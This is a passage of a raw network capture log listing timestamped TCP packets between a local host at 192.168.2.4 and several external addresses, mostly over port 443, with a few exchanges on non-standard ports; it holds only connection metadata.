Apr 23, 2024 23:02:22.656544924 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.656614065 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.666934967 CEST	35662	49840	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.672785044 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.672806025 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.672832966 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.672899008 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.672908068 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.672933102 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.683099031 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.683123112 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.683182955 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.683191061 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.683223963 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.683244944 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.686321974 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.686979055 CEST	49847	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.694065094 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.694112062 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.694133997 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.694143057 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.694175005 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.694221020 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.694557905 CEST	49836	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.694570065 CEST	443	49836	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.698596001 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.698607922 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.698623896 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.698632002 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.698662043 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.698669910 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.698695898 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.699795961 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.699832916 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.699951887 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.700339079 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.700352907 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.720956087 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721111059 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721121073 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721136093 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721149921 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721170902 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.721175909 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721225977 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.721267939 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.721375942 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.723143101 CEST	49843	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.723149061 CEST	443	49843	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.726310015 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.726358891 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.726598978 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.726767063 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.726805925 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.731940031 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.731956005 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.731962919 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.732021093 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.732027054 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.732069016 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.732278109 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.732559919 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.740808010 CEST	49844	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.740823984 CEST	443	49844	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.752721071 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.752731085 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.752760887 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.752789974 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.752866030 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.752870083 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.754152060 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.754230022 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.754369020 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.756831884 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.759623051 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.759850979 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.759872913 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.760055065 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.760150909 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.760194063 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.760236979 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.760263920 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.760293007 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.760310888 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.761035919 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.761269093 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.761312962 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.761378050 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.761564970 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.761641979 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.761698961 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.761704922 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.761744022 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.762130022 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.762146950 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.762834072 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.764054060 CEST	49842	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.764062881 CEST	443	49842	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.777801037 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.777820110 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.777877092 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.777884007 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.777910948 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.779161930 CEST	49840	35662	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.784302950 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.784369946 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.784374952 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.798002005 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.798063993 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.798106909 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.798115015 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.798151970 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.804020882 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.804094076 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.804105997 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.804130077 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.804164886 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.818193913 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.818239927 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.818278074 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.818284035 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.818392992 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.823124886 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.823194027 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.823218107 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.823364019 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.823385000 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.823416948 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.823606968 CEST	49837	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.823613882 CEST	443	49837	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.823999882 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.824032068 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.824228048 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.824803114 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.824817896 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.848196030 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.848222971 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.848239899 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.848274946 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.848300934 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.848324060 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.848352909 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.863552094 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.863636017 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.863650084 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.895878077 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.895925045 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.895962954 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.895977974 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.895996094 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.909707069 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.909804106 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.909816027 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.916810989 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.917068005 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.917089939 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.917542934 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.917861938 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.917943954 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.918149948 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.925848961 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.925910950 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.925921917 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.925954103 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.926038980 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.926393986 CEST	49841	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.926403046 CEST	443	49841	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.926795006 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.926832914 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.926917076 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.927391052 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.927405119 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.939918995 CEST	39001	49847	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:22.940021038 CEST	49847	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:22.942477942 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.942780972 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.942794085 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.943142891 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.944700956 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.944773912 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.945067883 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.951642990 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.951706886 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.951733112 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.964129925 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.973675966 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:22.978097916 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.978351116 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.978363991 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.979666948 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.979744911 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.979780912 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.979787111 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.979819059 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.979835987 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.979891062 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.979892969 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.979904890 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.980362892 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.980443001 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.980958939 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.980967999 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.984062910 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.984087944 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.984128952 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.984138966 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.984170914 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.989216089 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.989260912 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.989290953 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.989301920 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.989342928 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:22.990772963 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:22.992157936 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.997948885 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:22.998025894 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:22.998044968 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.001280069 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.001324892 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.001363039 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.001374006 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.001401901 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.007247925 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.007304907 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.007512093 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.007736921 CEST	49855	443	192.168.2.4	13.107.213.41
Apr 23, 2024 23:02:23.007755041 CEST	443	49855	13.107.213.41	192.168.2.4
Apr 23, 2024 23:02:23.009493113 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.009553909 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.009562969 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.009608030 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.014198065 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.014256954 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.014264107 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.014321089 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.014534950 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.014736891 CEST	49846	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.014755011 CEST	443	49846	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.015110016 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.015136003 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.015279055 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.015852928 CEST	49856	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.015866995 CEST	443	49856	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.016201019 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.045711994 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.045939922 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.045952082 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.048238039 CEST	443	49849	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:23.050228119 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.050323009 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.064034939 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.064189911 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.064285040 CEST	49853	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.077933073 CEST	49849	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:23.077967882 CEST	443	49849	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:23.080451965 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.080512047 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.080526114 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.080544949 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.080574989 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.085316896 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.085351944 CEST	49849	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:23.085361958 CEST	443	49849	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:23.085386992 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.085398912 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.085558891 CEST	49849	443	192.168.2.4	40.126.29.9
Apr 23, 2024 23:02:23.085568905 CEST	443	49849	40.126.29.9	192.168.2.4
Apr 23, 2024 23:02:23.090100050 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.090167046 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.090177059 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.099894047 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.099948883 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.099988937 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.100003004 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.100050926 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.100061893 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.108155012 CEST	443	49853	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.110332966 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.110379934 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.110400915 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.110414982 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.110444069 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.111589909 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.111670017 CEST	443	49848	23.0.175.178	192.168.2.4
Apr 23, 2024 23:02:23.111725092 CEST	49848	443	192.168.2.4	23.0.175.178
Apr 23, 2024 23:02:23.133093119 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.133213997 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.133269072 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.133289099 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.137128115 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.137259007 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.138758898 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.138791084 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.138812065 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.138837099 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.138848066 CEST	443	49850	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.138871908 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.138886929 CEST	49850	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.143294096 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.143632889 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.143651962 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.144139051 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.144468069 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.144547939 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.144623041 CEST	49854	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.165303946 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.165334940 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.165352106 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.165378094 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.165395975 CEST	443	49851	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.165412903 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.165445089 CEST	49851	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.171291113 CEST	39001	49847	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:23.171416998 CEST	49847	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:23.171550035 CEST	49847	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:23.178950071 CEST	49795	443	192.168.2.4	172.253.124.104
Apr 23, 2024 23:02:23.178977013 CEST	443	49795	172.253.124.104	192.168.2.4
Apr 23, 2024 23:02:23.192121029 CEST	443	49854	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200814009 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200846910 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200855970 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200872898 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200881958 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200898886 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.200908899 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200937033 CEST	443	49852	23.11.231.163	192.168.2.4
Apr 23, 2024 23:02:23.200954914 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.200954914 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.200978041 CEST	49852	443	192.168.2.4	23.11.231.163
Apr 23, 2024 23:02:23.231751919 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.231765032 CEST	443	49857	52.159.108.190	192.168.2.4
Apr 23, 2024 23:02:23.231831074 CEST	49857	443	192.168.2.4	52.159.108.190
Apr 23, 2024 23:02:23.232017040 CEST	49857	443	192.168.2.4	52.159.108.190
